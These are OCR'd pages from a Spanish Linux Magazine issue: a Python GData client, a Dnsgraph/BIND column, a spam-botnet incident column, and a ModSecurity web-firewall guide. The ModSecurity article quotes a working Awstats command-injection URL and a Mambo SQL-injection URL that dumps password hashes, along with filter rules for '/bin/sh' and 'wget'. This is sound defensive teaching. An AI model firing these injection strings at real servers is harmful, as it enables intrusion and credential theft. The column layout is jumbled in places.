‘GoogleLogin auth=%s’%id)
088 opener =
urllib2.build_opener(GDataRedirec
tHandler())
089 f = opener.open(r)
090 print f.info()
091 print ‘-’ * 80
092 print f.read()
093
094
095 def update_entry(self, eid,
entry):
096 id = self.client_login()
097 if id:
098 r = urllib2.Request(url=eid,
data=entry)
099
r.add_header(‘Authorization’,‘Goo
gleLogin auth=%s’%id)
100 r.add_header(‘Content-Type’,
‘application/atom+xml’)
101
r.add_header(‘X-HTTP-Method-Overr
ide’, ‘PUT’)
102 opener =
urllib2.build_opener(GDataRedirec
tHandler())
103 f = opener.open(r)
104
105
106 def delete_entry(self, eid):
107 id = self.client_login()
108 if id:
109 r = urllib2.Request(url=eid,
data=’’)
110 r.add_header(‘Authorization’,
‘GoogleLogin auth=%s’%id)
111
r.add_header(‘X-HTTP-Method-Overr
ide’, ‘DELETE’)
112 opener =
urllib2.build_opener(GDataRed
irectHandler())
113 f = opener.open(r)
Listado 2:PyGData.py
HTTP PUT sobre la dirección URL del enlace
de edición, pero si estamos delante de uno de
estos proxys podremos emitir un comando
POST e indicar la operación PUT dentro de la
cabecera ‘X-HTTP-Method-Override’. Hay que
tener cuidado en un aspecto. Para la modifica-
ción del evento hay que enviar el XML con
todos los campos originales del mismo, no
sólo los que van a ser modificados. Un ejem-
plo del procedimiento de comunicación HTTP
por medio de la cabecera ‘X-HTTP-Method-
Override’ lo podemos encontrar en los méto-
dos update_entry() y delete_entry() del Lis-
tado 2.
VictoriaLa alternativa a SOAP que propone
GData y su arquitectura basada en REST
suponen una clara simplificación en el
acceso a servicios web. Con un simple
wget podemos empezar a realizar scripts
bash, python o perl para el acceso a
dichos servicios, sin necesidad de depen-
der de ninguna librería externa. Para los
accesos autentificados necesitamos crear
nuevas cabeceras HTTP, pero hasta con
aplicaciones en línea de comando como
curl, y mediante el uso del parámetro -d
para el envío de parámetros de formula-
rio, y de -H para la inserción de nuevas
entradas de cabecera, podremos tener
acceso a toda la funcionalidad que pro-
porciona el protocolo GData. Natural-
mente todo el proceso se simplifica si
tenemos la oportunidad de hacer uso de
algún lenguaje más sencillo que bash.
Los trozos de código mostrados en el Lis-
tado 2 pueden ser el germen del proyecto
PyGData para el acceso al protocolo
GData desde Python. De hecho, la com-
plejidad de un proyecto como éste no
está en la implementación del protocolo,
sino en el API que se ha de proporcionar
para la construcción de los documentos
XML Atom. Y es precisamente en lo que
estoy trabajando ahora mismo ¿me ayu-
das? �
contiene una URL a un documento HTML
normal y corriente, que muestra el contenido
de los distintos campos de este evento. Pode-
mos comprobarlo copiando y pegando esa
dirección en nuestro navegador. Cuando
rel=’edit’, la URL asociada tiene una utilidad
muy interesante. Esta URL es igual a la del
enlace de tipo self pero que tiene añadido un
número largo al final de la misma. Este
número es un identificador de versión del
evento, y se utiliza para lograr un acceso con-
currente al mismo desde varias aplicaciones
sin que exista riesgo de colisiones entre las
mismas. Con esta URL extendida podremos
realizar las operaciones de borrado y actuali-
zación del evento. Por tanto, necesitaremos
consultar este valor dentro del documento
XML de un evento dado antes de proceder a
su eliminado o modificación.
Eliminar un evento es sencillo. Es suficiente
con enviar el comando HTTP DELETE a la
URL almacenada en el enlace de tipo edit con
la cabecera de autorización de Google, y tratar
su correspondiente redirección por medio del
código HTTP 302. Ya está. Los problemas apa-
recen cuando estamos conectados por medio
de algún proxy que no acepte, por razones de
seguridad, comandos HTTP diferentes de GET
y POST. En estos casos Google proporciona la
siguiente alternativa. Emitimos un comando
POST con un valor para la cabecera ‘Content-
Length’ de 0 y, finalmente, creamos un nuevo
campo en la cabecera HTTP de tipo ‘X-HTTP-
Method-Override’ con el valor de la operación
que deseamos realizar (en este caso
‘DELETE’). Esta técnica se puede utilizar tam-
bién para la actualización de un evento. La
manera natural pasa por emitir un comando
DESARROLLO • GData
56 Número 22 W W W . L I N U X - M A G A Z I N E . E S
01 <entry
xmlns=’http://www.w3.org/2005/
Atom’
02
xmlns:gd=’http://schemas.googl
e.com/g/2005’>
03 <category
scheme=’http://schemas.google.
com/g/2005#kind’
04
term=’http://schemas.google.co
m/g/2005#event’></category>
05 <title type=’text’>Comida
LiMa</title>
06 <content type=’text’>Lasaña
con los socios de
LiMa</content>
07 <author>
08 <name>aplanas</name>
09
<email>[email protected]</emai
l>
10 </author>
11 <gd:transparency
12
value=’http://schemas.google.c
om/g/2005#event.opaque’ />
13 <gd:eventStatus
14
value=’http://schemas.google.c
om/g/2005#event.tentative’ />
15 <gd:where
16
value=’http://schemas.google.c
om/g/2005#event’
17 valueString=’La Caprichosa,
Campanillas’ />
18 <gd:where
19
value=’http://schemas.google.c
om/g/2005#event.parking’
20 valueString=’Campanillas’
/>
21 <gd:when
22
startTime=’2006-11-10T14:30:00
.000Z’
23
endTime=’2006-11-10T15:30:00.0
00Z’
24 valueString=’Cuando
siempre’ />
25 </entry>
Listado 3: Evento Atom XML
[1] Google SOAP Search API: http://code.
google.com/apis/soapsearch/
[2] PyGoogle: http://pygoogle.
sourceforge.net
[3] Dive Into Python: http://www.
diveintopython.org
[4] APIs de Google: http://code.google.
com/apis.html
[5] API de Calendar: http://code.google.
com/apis/gdata/calendar.html
[6] PyGData: http://code.google.com/p/
pygdata
[7] Google Calendar: http://www.google.
com/calendar/
[8] Formato Atom: http://tools.ietf.org/
html/rfc4287
[9] ClientLogin API: http://code.google.
com/apis/accounts/
AuthForInstalledApps.html
[10] Tipos de documentos: http://code.
google.com/apis/gdata/
common-elements.html
[11] Roy T. Fielding: :http://www.ics.uci.
edu/~fielding/
[12] GData: http://code.google.com/apis/
gdata/overview.html
RECURSOS
Recientemente he oído hablar
sobre un tipo con mucha memo-
ria que podía recordar el valor de
pi hasta varios miles de cifras decimales;
al mismo tiempo, este hombre no podía
explicar el valor práctico de este ejercicio.
Personas como ésta no necesitan un servi-
dor DNS; podrían memorizar algunos
miles de direcciones IPs, al contrario que
la gente normal, que prefiere el DNS. Si tú
mismo llevas un servicio de resolución de
nombres, estoy seguro de que apreciarás
Dnsgraph [1].
El nombre del proyecto es muy pare-
cido al de otros, como Mailgraph y
Queuegraph, estando actualmente basado
en Mailgraph. La herramienta analiza un
fichero de información generada por mi
servidor DNS Bind 9 [2] y convierte las
cifras en gráficos.
Para acceder a la información utilizo
Rndc, un programa de control del paquete
Bind que me permite enviar comandos
firmados digitalmente al servidor de nom-
bres. Esto me proporciona la habilidad de
decirle al servidor que escriba la informa-
ción de estado en un fichero, que
Dnsgraph puede procesar posteriormente.
También necesito la herramienta RRD y el
módulo Perl File::Tail.
Tiempo de ConfiguraciónMi fichero de configuración Bind,
named.conf, también tiene una sección
de options, como es típicamente el caso.
He añadido la siguiente línea:
statistics-file “/path_toU
/named-stats.log”;
y luego los bloques del Listado 1 permiten
la comunicaciones Rndc. Como contra-
punto, el Listado 2 pertenece al fichero de
configuración de Rndc, normalmente
/etc/rndc.conf. Esto permite a Rndc pasar
comandos a Bind. El siguiente comando:
rndc stats
le indica a Bind que cree el fichero de
registros previamente configurado y
añada alguna información.
Adaptación de Scripts aDnsgraphNecesito añadir la ruta al fichero de registros
o a RRD para dnsanalise.pl y dnsreport.pl.
En dnsgraph.pl, he de modificar la ruta de
salida (TARGET) y la ruta a los scripts de
Dnsgraph. La configuración final hace
referencia a los ficheros del cron. El
paquete viene con un fichero de ejemplo
del dnsgraph.cron, por lo que tendré que
modificar la ruta de entrada para que
coincida con la de mi entorno. El paso
final es lanzar el proceso de evaluación.
Quince minutos después, la herramienta
RRD me proporciona los resultados
(Figura 1). �
57
La Columna de Charly • ADMINISTRACIÓN
Número 22W W W . L I N U X - M A G A Z I N E . E S
[1] Dnsgraph: dnsgraph.sourceforge.net
[2] Bind: http://www.isc.org/index.pl?/sw/
bind/
RECURSOS
El Ataque de los Bots . . . . . . . . . .58
Aprenda cómo Charly se enfrenta a un
spamming botnet sin escrúpulos.
Apache ModSecurity . . . . . . . . . . 60
ModSecurity es un cortafuegos inte-
grado para los servidores web Apache.
SYSADMIN
Un servidor DNS sobrecargado puede retrasar todos los puestos de tra-
bajo de una red. Dnsgraph es un sistema de aviso que proporciona a los
administradores un gráfico de valores críticos. Sus diagramas le ayu-
darán a tener a punto sus sistemas servidores de nombres.
POR CHARLY KÜHNAST
El Día a Día del Administrador de Sistemas: Dnsgraph
GRÁFICOS MAESTROS
EL
AU
TO
R
Charly Kühnast es
Gerente de Sistemas
Unix en el centro de
datos de Moers, Ale-
mania, cerca del cono-
cido Rhin. Entre sus
labores se incluye la seguridad del cor-
tafuegos, la disponibilidad y cuidado
de la DMZ (zona desmilitarizada).
01 key “rndc-key” {
02 algorithm hmac-md5;
03 secret
“<I>secretpassword<I>”
04 };
05
06 controls {
07 inet 127.0.0.1 port 953
08 allow { 127.0.0.1; } keys
{ “rndc-key”; };
09 };
Listado 1: Añadir a named.conf
01 key “rndc-key2” {
02 algorithm hmac-md5;
03 secret
“<I>secretpassword<I>”;
04 };
05
06 options {
07 default-key “rndc-key”;
08 default-server 127.0.0.1;
09 default-port 953;
10 };
Listado 2: Configuración Rndc
Figura 1: Los administradores que ejecutan un servidor Bind apreciarán
cualquier información que Dnsgraph les proporcione.
Era un martes soleado de julio. Estaba
tranquilamente escribiendo mi
columna Sysadmin para Linux Maga-
zine. Son las 2:00 pm cuando le hecho un vis-
tazo al monitor que me ofrece la última infor-
mación de la carga y el tráfico de datos de los
servidores sensibles que administro. De bue-
nas a primeras, la línea de la gráfica de
rechazo del filtro de spam se disparó (véase la
Figura 1). El artículo tendrá que esperar.
El servidor estaba rechazando grandes can-
tidades de correos en una etapa temprana del
diálogo SMTP. Sospeché de una ola de spam
con direcciones falsificadas. Eso no es nada
nuevo, por cada email legítimo que recibo,
tengo como mínimo dos mails de spam. Pero
aún así decidí abrir una conexión SSH al filtro
antispam, que se ejecuta en otra máquina, y
no podía dar crédito cuando descubrí 140
conexiones SMTP paralelas. Eso es unas diez
veces el nivel habitual. Y es raro que el servi-
dor simplemente ignore las conexiones de esa
manera.
La curiosidad saca lo mejor de mí mismo, y
decidí echarle un vistazo al archivo de logs.
Como me esperaba, cada mensaje provenía
de una fuente distinta. Dos tercios de las direc-
ciones IP pertenecían a proveedores de acceso
de Europa, y el resto de EEUU y Brasil. Los
ordenadores proporcionaban amablemente
sus nombres en el mensaje HELO, y ni
siquiera parecía que fuera spoofing, lo cual es
realmente raro, ya que los HELOs falsificados
son la norma en spam.
Los Atacantes son VíctimasLancé un nmap y escaneé algunos puertos.
También ejecuté nmap con —osscan-guess
para descubrir los sistemas operativos de las
máquinas spammers. Lo que quería saber era
si eran relays abiertos, máquinas secuestradas,
servidores de correo mal configurados, servi-
dores Web infectados o simplemente ordena-
dores de usuarios con troyanos. La respuesta
de nmap fue clara: esta última opción. Las
máquinas que investigué funcionaban todas
bajo Windows XP, y nadie usa Windows XP
como servidor Web o de correo. Acababa de
conocer en mis carnes lo que es una red de
bots.
Una red de bots es un grupo de máquinas
independientes con una cosa en común: el
malware que los ha infectado permite a un
hacker controlarlos desde una ubicación
remota. A los ordenadores de una red de bots
se les denomina habitualmente leafbots o
zombies. Considerado individualmente, un
zombie no es demasiado dañino, pero juntos
pueden convertirse en un arma peligrosa.
ADMINISTRACIÓN • Bot Attack
Mientras realizaba sus tareas habituales, el colaborador de
Linux Magazine, Charly Kühnast fue víctima de un malvado
ataque. Su servidor antispam, ubicado como defensa ante su
servidor de correo, le salvó de la avalancha de emails.
POR CHARLY KÜHNAST
Una insidiosa red de bots spammers ataca a Charly
BOT ATTACK
W W W . L I N U X - M A G A Z I N E . E S58 Número 22
Afortunadamente la red de bots que me ata-
caba parecía tener apenas 200 máquinas.
Unas Palabras de NuestrosPatrocinadoresAún no había podido volver a ponerme a ter-
minar el artículo para Linux Magazine, pues
los intervalos en los que llegaba el spam se
estaban haciendo cada vez más cortos. Como
había restringido el número de procesos
SMTP simultáneos, existía el peligro de que
los correos auténticos no entrasen debido a la
falta de recursos para atenderlos. Le eché un
vistazo a la carga del sistema: el filtro antis-
pam aún tenía algo de margen. Eliminé el
límite, y la red de bots pisó a fondo el acelera-
dor: unos minutos más tarde ya tenía 580
conexiones SMTP simultáneas (véase la
Figura 2).
De algún modo estos correos estaban supe-
rando mi graylist. El graylist le indica al servi-
dor que rechaze un correo con un mensaje de
error (450 please try later) y que acepte los
correos al segundo intento.
Nótese que las redes de spam no tienen
normalmente una cola para guardar correo no
entregado temporalmente hasta un nuevo
intento. Parece que el graylistening se ha con-
vertido en algo tan común que los spammers
han empezado a pensar en cómo saltárselo. El
Listado 1 muestra el efecto que tuvo en mi
sitio. La línea 1 del archivo de log muestra
cómo un zombie se conecta a mi servidor.
greylist=update en la línea 2 muestra al zom-
bie intentándolo por segunda vez tras el
rechazo inicial de mi servidor con un mensaje
de error.
Verificación de la Direccióndel RemitenteVolvamos al log: el remitente infinito es siem-
pre el mismo, esto es, <>, remitente nulo. La
ventaja de esta dirección de remitente para el
spammer es que cualquier servidor de correo
que cumpla el RFC lo aceptará. Y muchas
medidas antispam que confían en verificar la
dirección del remitente, como el SAV (Sender
Address Verification), son inútiles si tenemos
un remitente nulo.
Pero las direcciones de destinatario que
enviaba la red de bots eran incluso más intere-
santes: ninguna existía, y todas ellas eran pala-
bras de algún dialecto Coptic ya extinto, o más
bien eran cadenas generadas aleatoriamente.
Esto explica por qué el filtro antispam descar-
taba los correos antes de que el diálogo SMTP
llegase a la fase del comando DATA. El filtro
lleva a cabo el Recipient Address Verification,
que es el complemento al SAV.
El Recipient Address Verification
se basa en un sencillo principio: si el
servidor de entrega cita la dirección
de destinatario en RCPT TO:, el filtro
antispam verifica primero a dónde
tiene que llegar el correo, es decir, a
mi servidor de correo (mail.kueh-
nast.com en la línea 3 del Listado 1).
Abre un diálogo SMTP y verifica la
respuesta a RCPT TO:. Esta es user
unknown en el caso de los zombies.
Esto causa que el filtro antispam fina-
lice el diálogo (línea 4), lo que se
refleja en la multitud de rechazos en
la gráfica.
Ahora comenzaba a comprender
por qué el filtro antispam estaba rela-
tivamente tranquilo, aunque tenía en
marcha 500 procesos SMTP. Nin-
guno de estos procesos realmente
conseguía entregar un correo, ya que el Reci-
pient Address Verification los estaba blo-
queando antes de esa etapa. Si hubiese ali-
mentado a Spamassassin con estos correos
antes de verificar la dirección de destino, el fil-
tro antispam habría mordido el polvo debido
al volumen de los correos entrantes. Mi con-
sejo a los administradores de correo: el Reci-
pient Address Verification hará tu vida algo
más tranquila.
InterceptoresDecidí capturar algunos de los correos
spam entrantes porque quería saber cuál
era el mensaje que ese ejército de bots
había intentado colar por mi filtro antis-
pam. Me esperaban las sandeces de cos-
tumbre más algún troyano disfrazado como
GIF o PDF. O los habituales anuncios de
ayudas para la erección, fiestas con drogas
o aumentos de pecho (desafortunada-
mente, parece que nadie ha descubierto el
tratamiento para las barrigas cerveceras).
Pero lo que encontré fue simplemente un
revoltijo de caracteres ASCII. O el spammer
estaba intentando cabrearme o realmente
no sabía lo que era MIME. Me imaginé que
era esto último, e incluso estaba conside-
rando pasar esa sopa de letras por un
decodificador Base64. Pero, ¿necesitaba
saber el precio del Viagra esa semana?
Pensé que era mejor que me concentrara
en el archivo de log y observar los
correos que salen del filtro antispam.
Siempre puedo terminar el artículo por la
noche. �
Bot Attack • ADMINISTRACIÓN
59Número 22W W W . L I N U X - M A G A Z I N E . E S
01 May 12 04:16:07 spamfilter2
postfix/smtpd[32629]: connect
from
hcm-ms-185.vnn.vn[203.162.4.185]
02
03 May 12 04:16:07 spamfilter2
policyd: rcpt=598727,
greylist=update,
host=203.162.4.185
(hcm-ms-185.vnn.vn),
04 from=<>,
size=5228
05
06 May 12 04:16:07 spamfilter2
postfix/smtpd[29010]: NOQUEUE:
reject: RCPT from
hcm-ms-185.vnn.vn[203.162.4.185]
:
07 550 <[email protected]>:
Recipient address rejected:
unverified address: host
mail.kuehnast.com[80.190.243.62]
said:
08 550 <[email protected]>:no
such user (in reply to RCPT TO
command); from=<>
to=<[email protected]>
09 proto=ESMTP
helo=<HCM-MS-185.vnn.vn>
10
11 May 12 04:16:07 spamfilter2
postfix/smtpd[32629]: disconnect
from
hcm-ms-185.vnn.vn[203.162.4.185]
Listado 1: Extracto del Archivo de Log
Figura 1: La línea de rechazo en la gráfica del filtro
antispam se dispara de repente. Estaba siendo ata-
cado por un ejército de spambots.
Figura 2: Tras eliminar el límite SMTP, los zombies
intensificaron el ataque al servidor. loadavg marca
0.3 y todo está correcto.
La programación limpia de aplicaciones
web proporciona una vía para impedir esta
clase de abuso, pero el camino está plagado
de dificultades. Incluso los programadores
más experimentados son cogidos de vez en
cuando, ya que las vulnerabilidades en las
aplicaciones web están ocultas a la espera de
surgir antes o después.
El módulo ModSecurity de Apache [1] pro-
porciona validación y una protección mejo-
rada (Figura 1). El módulo es básicamente
una aplicación cortafuegos web disponible
tanto como un módulo de Apache como una
aplicación independiente (GPL con posibili-
dad de soporte comercial). El módulo valida
las peticiones entrantes antes de pasarlas a los
scripts apropiados basándose para ello en las
reglas especificadas dentro de un conjunto de
éstas. Como en los ficheros de patrones utili-
zados por los programas antivirus, las reglas
contienen las firmas de las técnicas de ata-
ques típicas.
Si una petición se
corresponde con
una de las firmas, el
mecanismo especifi-
cado por la regla se
ejecuta. Puede tra-
tarse simplemente del
bloqueo de la peti-
ción o del reenvío de
la misma otra página
web. El módulo pro-
porciona una protec-
ción efectiva contra los
ataques tales como la
Inyección de Comandos
del Sistema Operativo, XSS/
Cross-Site Scripting e Inyección SQL.
El Peligro desde elExteriorEl principal peligro para los
servidores web, y por ello
la principal preocupa-
ción de los administradores, es la inyección
de comandos del sistema operativo en el
contexto del servidor web. En enero de 2005,
por ejemplo, los expertos en seguridad des-
cubrieron que la herramienta de estadísticas
web Awstats permitía a los usuarios inadver-
tidamente ejecutar comandos arbitrarios. La
cadena
awstats.pl?configdir=|echo;echo;ls%20-
la%20%2F;id;echo;echo ejecutaba el
comando ls -la en el servidor con los permi-
sos de Apache.
Darle a los atacantes la posibilidad de leer
información confidencial almacenada en un
servidor web puede ser fatal. El exploit que
tenía como objetivo al popular CMS Mambo,
descubierto en junio de 2005, introducía sen-
tencias SQL en la URL, provocando que la
aplicación web suministrase un listado de
todas las hash de las contraseñas de los
usuarios [7]. Entonces, un atacante podría
utilizar la lista para romper estas contrase-
ñas, posiblemente utilizando las tablas Rain-
bow (tablas con las hash precalculadas). La
siguiente URL revela las entradas de las con-
traseñas:
http://server/mamboU
/index.php?option=U
com_content&task=vote&id=U
%d&Itemid=%d&cid=1&user_rating=U
1,rating_count=(SELECT/**/ifU
((ascii(substring((SELECT/**U
/password/**/FROM/**/mos_usersU
La mayoría de los servidores web
comerciales sirven contenido diná-
mico generado por scripts. La natura-
leza de Internet permite que un visitante
desconocido desde cualquier parte del
mundo pueda acceder al sitio web. Desafor-
tunadamente, toda esta interacción entre el
visitante y la aplicación web abre una posi-
ble vía de ataque. Un atacante con las habi-
lidades adecuadas podría utilizar una vul-
nerabilidad para obtener un acceso no auto-
rizado al servidor web y, una vez dentro, el
intruso podría emplear herramientas adicio-
nales y trucos para realizar acciones que ni
a los desarrolladores ni a los webmasters se
les hubiera ocurrido probar nunca. El
potencial de daño es enorme, desde la expo-
sición de ficheros con contenidos confiden-
ciales a comprometer completamente la
cuenta del root.
ADMINISTRACIÓN • Apache ModSecurity
El módulo de Apache ModSecurity proporciona una protección extra para el servidor web. Vamos a
mostrar por qué esta aplicación de cortafuegos opcional está convirtiéndose rápidamente en la favorita de
los webmasters y de los expertos en seguridad. POR HANS KASPARICK
Una Protección Mejor con el Módulo de Apache ModSecurity
PERRO GUARDIÁN
ID Use
0-99,999 #Local - Reglas propias
100,000-199,999 #Reservado para Mod
Security
200,000-299,999 #Reservado para las
reglas publicadas en
www.ModSecurity.org
300,000-; No asignado
Tabla 1: Identificadoresde Reglas
W W W . L I N U X - M A G A Z I N E . E S60 Número 22
/**/WHERE/**/id=%d),%d,1)))%s,U
1145711457,0))[...]
La sentencia SQL incluida en esta larga
cadena es: SELECT password FROM
mos_user WHERE id=User-ID. La regla
ModSecurity SecFilterSelective ARGS
“select.+from” captura este ataque
detectando la cadena select y from como
característica del ataque y éste fracasa
(Figura 2). Lo que conseguiría ver el ata-
cante es el mensaje 403 de Apache For-
bidden: You don’t have permission to
access (Prohibido: No tiene permiso de
acceso).
Los ataques “cross-site scripting” son
una gran amenaza para los usuarios de
Internet. “Cross-site scripting” hace que
el atacante ejecute scripts maliciosos en
la máquina de la víctima para acceder a
sus cookies, por ejemplo. Ante esto, es
lógico que se filtren los comandos
<script> de las peticiones GET y POST.
Como el desarrollo del módulo ModSe-
curity está progresando rápidamente, los
administradores que planeen utilizarlo
están bien avisados para que comprue-
ben el sitio web perteneciente al autor de
ModSecurity [1]. Este es el lugar al que
acudir a por actualizaciones sobre el pro-
yecto ModSecurity Rule Sets [2] (Con-
juntos de Reglas de ModSecurity), por
ejemplo.
Para la mayoría de las distribuciones
se encuentran disponibles paquetes
binarios de ModSecurity listos para ser
ejecutados. Los usuarios de Debian pue-
den ejecutar el comando aptitude install
libapache2-mod-security para instalar el
paquete en sus sistemas; si se tiene Fre-
eBSD, pkg_add -r mod_security tendrá el
mismo efecto. Tras completar la instala-
ción, se introduce a2enmod mod-security
en Debian para cargar el módulo; Fre-
eBSD lo hace automáticamente. Este artí-
culo está basado en ModSecurity 1.9.2,
aunque la popular versión 1.8.7 posee la
mayoría de las características que se
mencionan aquí.
Primeros PasosLa entrada [Fri Feb 24 11:55:12 2006]
[notice] mod_security/1.9.2 configured en
el fichero error.log de Apache indica que
el módulo ha sido instalado correcta-
mente. Para probar si está funcionando,
todo lo que se necesita es un conjunto de
reglas sencillas (Listado 1). La primera
línea habilita el motor del filtro; la
segunda define las acciones y la tercera
comprueba el contenido para la cadena
que sigue, /bin/sh en este caso. Para
mantenerlo legible, es conveniente alma-
cenar los conjuntos de reglas en ficheros
separados y utilizar include para usarlos
en apache2.conf. Los parámetros extendi-
dos en la directiva Sec Filter son nuevos
para la versión 1.9 y no son soportados
por la 1.8. Si se tiene la versión anterior,
habrá también que reemplazar SecFilter-
SignatureAction con SecFilterDefaultAc-
tion.
Llamando a la URL http://hostname/
index.php?a=/bin/sh en el navegador
web, se comprobará la regla. Si ésta fun-
ciona, el módulo bloqueará el acceso y
mostrará un mensaje Internal Server
Error. El fichero error.log debería conte-
ner lo siguiente:
[Fri Feb 24 14:25:12 2006] U
[error] [client 192.168.0.1] U
mod_security: Access U
denied with code 500.
Pattern match “/bin/sh” at U
REQUEST_URI [id “1001”] U
[rev “2”] [msg “/bin/sh attackU
attempt”] [severity “2”] U
[hostname “192.168.0.20”] U
[uri”/modsec/index.php?a=U
/bin/sh”]
Para hacérselo más fácil a los administrado-
res de sistemas que usen scripts para evaluar
Apache ModSecurity • ADMINISTRACIÓN
61Número 22W W W . L I N U X - M A G A Z I N E . E S
Listado 1: Reglas de Prueba
01 ## Enable ModSecurity
02 #SecFilterEngine On
03 ## Log faulty requests and deny
access
04 #SecFilterDefaultAction
“deny,log,status:403”
05 ## Log errors only
06 ## SecFilterDefaultAction
“pass,log”
07 #
08 ## Check POST data
09 #SecFilterScanPOST On
10 #
11 ## Check URL encoding
12 #SecFilterCheckURLEncoding On
13 #
14 ## Check Unicode encoding
15 #SecFilterCheckUnicodeEncoding On
16 #
17 ## Accept only Ascii characters 1
through 255
18 #SecFilterForceByteRange 1 255
19 #
20 ## Reduce server signature to a
minimum
21 #SecServerSignature “Apache”
22 #
23 ## Log relevant data only
24 #SecAuditEngine RelevantOnly
25 #SecAuditLog
/var/log/apache2/audit_log
26 #
27 ## Do not accept GET or HEAD
requests in the body
28 #SecFilterSelective
REQUEST_METHOD “^(GET|HEAD)$”
chain
29 #SecFilterSelective
HTTP_Content-Length “!^$”
30 #
31 ## Content length must be sent
with each POST request
32 #SecFilterSelective
REQUEST_METHOD “^POST$” chain
33 #SecFilterSelective
HTTP_Content-Length “^$”
34 #
35 ## Discard unknown transfer
encoding, with the exception of
GET,
36 ## as this can cause problems
with some clients
37 #SecFilterSelective
REQUEST_METHOD “!^(GET|HEAD)$”
chain
38 #SecFilterSelective
HTTP_Content-Type \
39
#”!(^application/x-www-formurlenc
oded$|^multipart/form-data;)”
40 #SecFilterSelective
HTTP_Transfer-Encoding “!^$”
01 #SecFilterEngine On
02 #SecFilterSignatureAction
log,deny,status:500
03 #SecFilter /bin/sh
“id:1001,rev:2,severity:2,msg
:’/bin/sh attack attempt’”
04 ## Regel für die Version 1.8:
05 ## SecFilter /bin/sh
Listado 2: Configuración Básica
de las peticiones legítimas. Para realizarlo se
puede utilizar una entrada SecFilterDefaultAction,
estableciendo los parámetros a pass, log.
En vez de devolver un mensaje de error 403
cuando se rompe alguna regla, ModSecurity per-
mitirá que se atienda la petición de cualquier
dirección o sitio web utilizando una entrada
como SecFilterDefaultAction
“deny,log,redirect:http://targetpage.com”. Los fil-
tros ayudan a definir el criterio que ModSecurity
aplica a las peticiones HTTP.
Los filtros siempre siguen el patrón de SecFilter
SearchCriterion y en la versión 1.9, el módulo
tiene unos cuantos parámetros adicionales para
el registro. ModSecurity distingue entre tres méto-
dos de filtros: simple (SecFilter wget), selectivo
(SecFilterSelective ARGS “union. +select”) y de
salida (SecFilterSelective OUTPUT “Fatal error:”,
deny,status:500).
Un filtro simple investigará siempre la petición
HTTP completa, mientras que uno selectivo tan
sólo investigará partes específicas de la petición.
Los filtros de salida analizan el contenido ser-
vido por el servidor web, impidiendo de este
modo que se muestre si fuera necesario. Un signo
de exclamación (!) invertirá una regla del filtro.
Por ejemplo, SecFilter !htm se aplica a cualquier
petición que no contenga la cadena html.
FiltrosLa forma más simple de política de filtrado es
SecFilter SearchPattern. La política de filtrado
SecFilter SearchPattern le indica a ModSecu-
rity que busque en todas las peticiones GET
y POST un patrón y dispare el conjunto de
acciones de la política por defecto en caso de
encontrar una entrada positiva.
Las claves de búsqueda pueden ser expre-
siones simples o expresiones regulares. Las
reglas de filtrado no se aplican directamente
a las peticiones, sino a una copia normali-
zada. Dicho de otro modo, los caracteres
codificados de manera especial (Unicode)
(véase “Los Peligros del Unicode”) se decodi-
fican primero y cualquier / de escape que no
sea necesaria se resuelve. Los ataques del
tipo Null Byte, cuyo objetivo son las vulnera-
bilidades de las aplicaciones de los servidores
programadas en C o C++, son evitados por
el filtro SecFilter hidden
El patrón de búsqueda que se ha visto
comprueba la petición HTTP completa. Esta
configuración podría ocasionar un gran
impacto en el rendimiento del sistema que se
puede aceptar. Una entrada del tipo SecFilter-
Selective Location SearchPattern Action per-
mite el filtrado de elementos específicos. La
localización puede ser cualquier variable
CGI. La documentación en línea proporciona
los posibles valores y explica cómo utilizar-
los.
Como ejemplo de uso de SecFilterSelective,
la siguiente sentencia encuentra todos los
intentos de acceso que no se originan desde
la dirección de red 192.168.0.0/24: SecFilter-
Selective “REMOTE_ADDR|REMOTE_HOST”
192.168.0.
En combinación con Apache 2, ModSecu-
rity puede filtrar la salida de los sitios webs.
Si un atacante consigue inyectar con éxito
código SQL malicioso que mostrase las con-
traseñas user_password de la base de datos,
el filtro SecFilterSelective OUTPUT
“user_password” deny,status:500 bloquearía
la salida y no se mostraría. Sin embargo, hay
que habilitar el filtrado de salida con SecFil-
terScanOutput On para hacer que funcione.
El filtrado de la salida está desactivado por
defecto y hay una buena razón para ello: la
sobrecarga de recursos que lleva asociada
este tipo de filtrado es considerable, ya que
ModSecurity comprueba cada contenido que
sirve el servidor Apache. El filtrado de salida
también puede provocar el riesgo de filtrar
inadvertidamente el contenido legítimo.
Si se necesitan proteger múltiples hosts
virtuales que realizan diversas tareas, puede
ser interesante el hecho de que ModSecurity
soporte la herencia de reglas por medio de
directorios. Las reglas de directorio tienen
preferencia sobre las reglas globales:
posteriormente los ficheros de registro, cada
regla debería tener un ID único: la Tabla 1
proporciona los espacios de nombres reser-
vados.
Registros CoordinadosLa forma más simple del registro tan sólo escribe
entradas en el fichero error.log del servidor web
Apache, aunque esta opción de escribir en el
registro de errores hace que sea más difícil el aná-
lisis posterior.
Una alternativa a esta solución de escribir en el
registro de errores, sería considerar la opción más
exhaustiva de registros de auditoría mostrado en
la Figura 3, la cual fue presentada con la versión
1.9 de ModSecurity. Entre otras cosas, la nueva
opción de registro de auditoría soporta la escritura
de los eventos en varios archivos de registros dife-
rentes, aunque para ello habrá que tener habili-
tado el módulo de Apache mod_unique_id.
Además de esto, la versión 1.9 y el nuevo
soporte para el registro Guardian, es decir, estas
versiones pueden pasar información de registro a
HTTP Guardian [3] que toma el control de IPta-
bles y pf firewalls, además del controlador IDS
Snortsam [4]. Por defecto, HTTP Guardian blo-
quea a los clientes que envíen más de 120 peticio-
nes por minuto o más de 360 peticiones en cinco
minutos. El programa está aún en fase de
desarrollo, pero funciona bien y está bien docu-
mentado.
Configuración BásicaSe va a utilizar la configuración básica del Listado
2 como punto de partida para realizar algunos
ajustes personalizados. Algo similar a este listado
está también disponible en el sitio web oficial del
proyecto. Si se pretende probar el conjunto de
reglas en un sistema de producción, es lógico que
se intenten registrar las infracciones potenciales
durante la fase de prueba para evitar el bloqueo
62 Número 21 W W W . L I N U X - M A G A Z I N E . E S
ADMINISTRACIÓN • Apache ModSecurity
Figura 1: ModSecurity se sitúa delante del
servidor web y de las aplicaciones web, pro-
tegiéndolos de los ataques.
El estándar Unicode proporciona un
conjunto de caracteres unificado para
los caracteres internacionales. El con-
junto de caracteres ASCII utilizaba 7 u 8
bits para codificar cada carácter,
restringiendo así el número a 128 ó 256
respectivamente, siendo algunos de
éstos utilizados para propósitos de con-
trol. Dependiendo de la versión, Unicode
utilizará hasta 32 bits (4 bytes) para codi-
ficar cada carácter. Esto quiere decir que
Unicode puede mostrar incluso runas y
jeroglíficos.
